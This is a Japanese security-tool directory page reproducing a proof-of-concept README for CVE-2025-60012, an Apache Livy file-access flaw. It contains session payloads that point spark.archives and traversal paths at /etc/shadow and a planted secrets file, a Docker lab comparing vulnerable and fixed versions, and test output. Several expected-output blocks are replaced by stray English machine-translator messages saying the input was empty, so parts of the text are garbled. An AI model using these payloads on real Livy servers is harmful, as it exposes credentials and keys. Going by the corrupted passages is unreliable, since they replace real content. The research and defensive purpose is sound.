Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-60012-POC — Apache Livy の未承認ファイルアクセス脆弱性の POC | Kitploit
ツール/GitHubGitHub/sid6224/cve-2025-60012-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用クラウドセキュリティ学習と教育ラボと実践
GitHubsid6224/cve-2025-60012-poc

CVE-2025-60012-POC

Apache Livy の未承認ファイルアクセス脆弱性の POC

リポジトリを見る
15ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

教育およびセキュリティ研究目的にのみ使用してください。所有していないシステム、または明示的な書面による許可を得ていないシステムに対しては使用しないでください。 → 完全な免責事項

CVE-2025-60012 — Apache Livy の不正なファイルアクセス

CVE Livy Severity CWE Type License Platform Language

概要

フィールド詳細
CVE IDCVE-2025-60012
深刻度中 (CVSS 6.3)
影響を受けるバージョンApache Livy 0.7.0-incubating、0.8.0-incubating — Apache Spark 3.1 以降に接続している場合
修正バージョンApache Livy 0.9.0-incubating
CWECWE-20: 不適切な入力検証
公開日2026-03-13
報告者Furue Hideyuki

脆弱性の説明

Livy の REST または JDBC インターフェースにアクセスできる認証済みユーザーは、細工された設定値を使用して Spark セッション またはバッチジョブを送信できます。2 つの弱点が組み合わさることで、攻撃者は許可されたパスの外にあるローカルファイルシステム上の ファイルを参照できます。

  1. spark.archives に対する検証の欠如 — Spark 3.1 で spark.archives が導入され、 すべてのクラスタマネージャー間でアーカイブファイルを配布する統一された方法として提供されました。Livy 0.8.0 の パス検証対象となるハードコードされた設定キーのリスト (HARDCODED_SPARK_FILE_LISTS) には spark.archives が含まれていません。したがって、このキーを介して渡されたパスは、 ローカルファイルシステムのホワイトリスト (livy.file.local-dir-whitelist) に対してチェックされることがなく、 攻撃者は任意のローカルファイルを参照できます。

  2. ホワイトリストチェックにおけるパストラバーサル回避 — 検証される設定キーであっても、 Livy 0.8.0 のホワイトリスト比較は、生のパスに対する単純な Java String startsWith 呼び出しを使用しています。攻撃者はパストラバーサルを使用してこれを回避できます: /whitelisted/dir/../../etc/passwd は文字列チェックを通過しますが、許可されたディレクトリの外に 解決されます。

影響を受けるソースファイル

ファイル 1 — LivyConf.scala

脆弱なバージョン (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

修正済みバージョン (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

ファイル 2 — Session.scala

脆弱なバージョン (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

修正済みバージョン (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

ソースコード — クローンコマンド

両バージョンは、公式の Apache Livy GitHub リポジトリから以下の正確なコマンドを使用して このワークスペースに直接クローンされました:

リポジトリ: https://github.com/apache/incubator-livy```bash

Vulnerable version — cloned into ./livy-0.8.0/

git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0

Fixed version — cloned into ./livy-0.9.0/

git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0

root@kitploit:~
| バージョン | タグ | 解決済みコミット | ローカルパス |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## 正確なコード差分

差分は、両方のタグをローカルにクローンして(上記参照)、次のコマンドを実行することで生成されました:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

修正 1 — LivyConf.scala: spark.archives をハードコードされたファイルリストに追加```diff

private val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,

  • "spark.archives", // <-- ADDED in v0.9.0 (Spark 3.1+ config key) "spark.yarn.archive", "spark.yarn.dist.files", "spark.yarn.dist.jars", "spark.yarn.jar", "spark.yarn.jars" )
root@kitploit:~
**v0.8.0 のエントリ欠落の影響:**
ユーザーが `conf: {"spark.archives": "file:///etc/passwd"}` を含むセッションを送信すると、Livy
0.8.0 はその値に対して `resolveURIs()` を呼び出さず、`livy.file.local-dir-whitelist` との
照合も行いません。パスは検証されずに Spark に転送されます。

---

### 修正 2 — `Session.scala`: ホワイトリストチェック前のパス正規化```diff
   def resolveURI(uri: URI, livyConf: LivyConf): URI = {
     ...
     if (resolved.getScheme() == "file") {
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }
   }

v0.8.0 での影響: 生の文字列の startsWith チェックは、パストラバーサルペイロードによってバイパスされる可能性があります。

例: livy.file.local-dir-whitelist = /opt/safe-data の場合``` /opt/safe-data/../../../etc/passwd

root@kitploit:~
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (バイパスされた)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
          `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (ブロックされた)

## 攻撃ベクトルの概要```
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions  (or /batches)
{
  "conf": {
    "spark.archives": "file:///etc/shadow"        ← Attack 1: unvalidated Spark 3.1 key
    "spark.jars": "file:///safe/../etc/shadow"    ← Attack 2: path traversal bypass
  }
}
    │
    ▼
Livy 0.8.0 — validation skipped / bypassed
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

テスト環境

このPoCのすべての手順は、以下のシステムで実行・検証されました。

コンポーネント詳細
ホストOSUbuntu 24.04.4 LTS (Noble Numbat)
カーネル6.17.0-14-generic x86_64
アーキテクチャx86_64
総メモリ15.49 GiB
Docker Engine28.2.2
ホストJDKOpenJDK 17.0.18(ホストのみで使用 — コンテナは eclipse-temurin:11-jdk-focal を使用)
コンテナベースイメージeclipse-temurin:11-jdk-focal(JDK 11、Ubuntu Focal)
Sparkバージョン(両イメージとも)3.1.3(Hadoop 3.2 を使用)
Livyバージョン — 脆弱なイメージ0.8.0-incubating(Scala 2.12 ビルド)
Livyバージョン — 修正済みイメージ0.9.0-incubating(Scala 2.12 ビルド)

リポジトリ構成```

. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh

root@kitploit:~
---

## 概念実証

### 概要```
docker/vulnerable/   →  image: cve-2025-60012-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-60012-fixed         (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

完全なエンドツーエンドのシーケンス — 手順1から4まで順に従ってください:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container

root@kitploit:~
> **注記:** `docker run` の後、Livy が準備完了になるまで約15〜20秒かかります。
> 以下のすべてのステップには、API呼び出しの前に明示的な `sleep 20` が含まれています。

---

### ステップ1 — 脆弱な環境の構築と起動 (Livy 0.8.0 + Spark 3.1.3)

**ファイル:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal、Spark 3.1.3、Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  — `0.0.0.0:8998` にバインド、ローカルモード、ホワイトリスト = `/opt/safe-data`

**1a. イメージをビルドする:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/

検証 — イメージが作成されました:```bash docker images cve-2025-60012-vulnerable

root@kitploit:~
期待される出力:```
REPOSITORY                    TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-vulnerable     latest    <id>           <time>          <size>

1b. コンテナを起動:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable

root@kitploit:~
**検証 — コンテナが実行中:**```bash
docker ps --filter name=livy-vulnerable

I need to translate the content, but the INPUT section appears to be empty. There is no source text provided to translate.``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp

root@kitploit:~
**1c. Livy の起動を待ってから、REST API を確認します:**

> Livy がリクエストを処理する前に、初期化に約 15–20 秒かかります。```bash
sleep 20
curl -s http://localhost:8998/sessions

期待される出力:```json {"from":0,"total":0,"sessions":[]}

root@kitploit:~
---

**1d. コンテナ内のディレクトリ構造を検証する:**

ホワイトリストに登録された安全なファイルが存在することを確認する:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

I received no content to translate. The input after "INPUT:" is empty, so there is nothing to produce.``` This file lives inside the whitelisted directory.

root@kitploit:~
対象の機密ファイルがホワイトリストの外に存在することを確認してください:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

I'm unable to produce a translation because the source text for this chunk is empty. No content was provided between the INPUT marker and the Expected output section. Please provide the actual Markdown content to translate.``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!

root@kitploit:~
---

### ステップ 2 — 脆弱な環境に対する検証を実行する

> ステップ 1 の脆弱なコンテナが、ポート 8998 で引き続き実行されている必要があります。

**`test/validate.sh` がテストする内容:**

| # | 攻撃 | ペイロードキー | Livy 0.8.0 での期待される結果 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` が `LivyConf.scala` の `HARDCODED_SPARK_FILE_LISTS` に存在しない | `spark.archives` | HTTP 201 — パスが未検証のまま受理される |
| 2 | `Session.scala` の `String.startsWith()` によるパストラバーサル | `../` トラバーサルを含む `spark.jars` | HTTP 201 — トラバーサルがホワイトリストを迂回する |

**2a. スクリプトを実行:**```bash
bash test/validate.sh

期待される出力:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.

TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.

RESULT: VULNERABLE — exit code 1

root@kitploit:~
**2b. 脆弱なコンテナを停止して削除する:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable

検証 — コンテナが完全に削除されている:```bash docker ps -a --filter name=livy-vulnerable

root@kitploit:~
期待される出力(空 — 行なし):```
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

ステップ 3 — 修正環境の構築と起動(Livy 0.9.0 + Spark 3.1.3)

ファイル:

  • docker/fixed/Dockerfile — ベースイメージとSpark 3.1.3は同一で、Livyのバージョンのみ0.9.0に変更
  • docker/fixed/livy.conf — docker/vulnerable/livy.confと同一(同じホワイトリスト、ポート、モード)

Spark、ベースイメージ、およびすべての設定をステップ1と同一に保つことで、Livyだけを唯一の変数として切り分けます。

3a. イメージをビルド:```bash docker build -t cve-2025-60012-fixed docker/fixed/

root@kitploit:~
**検証 — イメージが作成されました:**```bash
docker images cve-2025-60012-fixed

The input contains no text to translate.``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest

root@kitploit:~
---

**3b. コンテナを起動:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed

検証 — コンテナが実行中です:```bash docker ps --filter name=livy-fixed

root@kitploit:~
期待される出力:```
CONTAINER ID   IMAGE                   COMMAND        STATUS         PORTS
<id>           cve-2025-60012-fixed    "livy-server"  Up X seconds   0.0.0.0:8998->8998/tcp

3c. Livy の起動を待って、REST API を確認してください:```bash sleep 20 curl -s http://localhost:8998/sessions

root@kitploit:~
期待される出力:```json
{"from":0,"total":0,"sessions":[]}

ステップ4 — 修正した環境に対して同じ検証を実行する

ステップ3の修正済みコンテナはポート8998で実行中である必要があります。 スクリプトは同一です — 変更はありません。

ステップ2とステップ4で変わる点:

  • 同じペイロード、同じスクリプト
  • Livy 0.9.0 は spark.archives を HARDCODED_SPARK_FILE_LISTS で検証するようになった
  • Livy 0.9.0 はホワイトリストチェックの前に Paths.get().normalize() でパスを正規化するようになった
  • 両方の攻撃はセッションが作成される前に HTTP 400 で拒否される

4a. スクリプトを実行する:```bash bash test/validate.sh

root@kitploit:~
> **注:** `validate.sh` は次のように動作します:
> 1. Livy が応答するまで `GET /sessions` をポーリングし(最大60秒)、サーバーが準備完了であることを確認します。
> 2. 各攻撃について、`curl` で `POST /sessions` リクエストを送信し、ホワイトリスト外のファイル(`/opt/sensitive/secret.txt`)をターゲットにした細工済みの `conf` ペイロードを使用します。
> 3. HTTP レスポンスコードを読み取ります: **201** は Livy がパスを検証なしで受け入れたこと(脆弱)を意味し、**400** は Livy がホワイトリストチェックで拒否したこと(修正済み)を意味します。
> 4. セッションが作成された場合(HTTP 201)、スクリプトはサーバーをクリーンに保つために `DELETE /sessions/{id}` で直ちにセッションを削除します。
> 5. 両方のテストの後、サマリーを出力し、コード **1**(脆弱)または **0**(修正済み)で終了するため、自動化パイプラインでの使用に適しています。

**期待される出力:**```
TEST      : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT      : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD   : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

TEST      : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

RESULT: FIXED — exit code 0

エラーメッセージが示す内容:

攻撃HTTPエラーメッセージ修正された根本原因
1 — spark.archives400Local path /opt/sensitive/secret.txt cannot be added to user sessions.spark.archives が LivyConf.scala の HARDCODED_SPARK_FILE_LISTS に追加されました。パスは現在 resolveURI() のホワイトリストチェックにヒットします
2 — パストラバーサル400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Session.scala に Paths.get(...).normalize() が追加されました。ホワイトリスト比較の前に ../ を解決します

4b. 修正済みコンテナを停止して削除:```bash docker stop livy-fixed && docker rm livy-fixed

root@kitploit:~
**検証 — コンテナが完全に削除されていること:**```bash
docker ps -a --filter name=livy-fixed

期待される出力(空 — 行なし):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

root@kitploit:~
## 推論

CVE-2025-60012 は、脆弱性が常にセキュリティ制御の迂回を必要とするわけではないことを示しています。場合によっては、そもそもその制御を経由しない経路を見つけるだけで十分なのです。

ホワイトリスト (`livy.file.local-dir-whitelist`) は Livy 0.8.0 と 0.9.0 の両方に存在し、両方の環境で正しく設定されていました。問題は、その上流にありました。

1. **登録漏れ (攻撃1):** `spark.archives` は Spark 3.1 で、`spark.yarn.dist.archives` に代わるクラスタマネージャ非依存の置き換えとして導入されました。Livy がホワイトリストチェックにパスを渡す設定キーの内部リスト (`LivyConf.scala` の `HARDCODED_SPARK_FILE_LISTS`) は、それ (`spark.archives`) を含むようには更新されませんでした。そのため、`spark.archives` を介して渡されたパスは、まったく検証されることなく Spark に転送されました。ホワイトリストは参照されることはありませんでした。

2. **チェック自体のロジック欠陥 (攻撃2):** 登録されていたキーについては、`Session.scala` のホワイトリスト比較は、生のパス文字列に対して Java の `String.startsWith()` を使用していました。これは、`..` によるトラバーサルを考慮しないため、ファイルシステムのパス比較としては不十分です。`/opt/safe-data/../sensitive/secret.txt` のようなパスは、ホワイトリストエントリ `/opt/safe-data` に対する文字列チェックを満たしますが、実際には完全にその外側の場所に解決されます。

これら2つの弱点を合わせると、認証済みユーザー — Livy REST または JDBC インターフェースへのアクセス以外の特別な権限を持たない — は、Livy サーバーホスト上の任意のローカルファイルを参照できる可能性があることを意味します。共有分析クラスターでは、これは資格情報、鍵、設定ファイル、または Livy プロセスユーザーが読み取り可能なあらゆるデータが露出する可能性につながります。

0.9.0 の修正は最小限で、的を絞ったものです。`HARDCODED_SPARK_FILE_LISTS` に1行追加され(登録のギャップを解消)、ホワイトリスト比較の前に `Paths.get().normalize()` の呼び出しが1つ追加されました(トラバーサル迂回を解消)。どちらの変更もホワイトリスト自体を変更しておらず、ホワイトリストが問題だったのではなく、問題はそこに入力を供給していたコードが不完全かつ不正確だったことを裏付けています。

**防御側にとっての重要ポイント:** Livy を Spark 3.1 以降と共にデプロイしている場合、Livy 0.9.0-incubating へのアップグレードが唯一の完全な対策です。`livy.file.local-dir-whitelist` を厳格化するだけでは攻撃1に対して十分ではありません。脆弱なバージョンでは、`spark.archives` を介して送信されたパスがそのチェックを完全に迂回するからです。

## 参考

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- OSS-Sec 開示: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Apache メーリングリスト: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Apache Livy プロジェクト: https://livy.apache.org/

## 謝辞

- **Furue Hideyuki** — CVE-2025-60012 を Apache Security Team に最初に報告した人。
- **Apache Livy maintainers** — v0.9.0-incubating での迅速なトリアージと的を絞った修正に対して。
- **Apache Security Team** — 責任ある開示プロセスの調整に対して。
- **OSS-Sec コミュニティ** — 独立した分析を可能にした公開開示スレッドに対して。

## コントリビューティング

この PoC またはドキュメントを改善するためのコントリビューションを歓迎します!コントリビューションを行う際は、以下の点を必ず守ってください:

- 責任ある開示の慣行に従う
- 適切な免責事項を含める
- 教育目的のデモンストレーションを超えた悪意のあるコードを含めない
- 教育的価値に焦点を当て続ける

コントリビュートするには、プルリクエストを開くか、提案する変更内容を説明した issue を作成してください。

## ライセンス

このプロジェクトは [MIT ライセンス](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE) の下でライセンスされています。

## 免責事項

このリポジトリは教育およびセキュリティ研究目的のみに提供されます。この概念実証は
脆弱性の仕組みを示し、理解と防御策に役立てるためのものです。所有していない、または
明示的な書面によるテスト許可を得ていないシステムに対して使用しないでください。

## タグ

`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`
ツールをダウンロード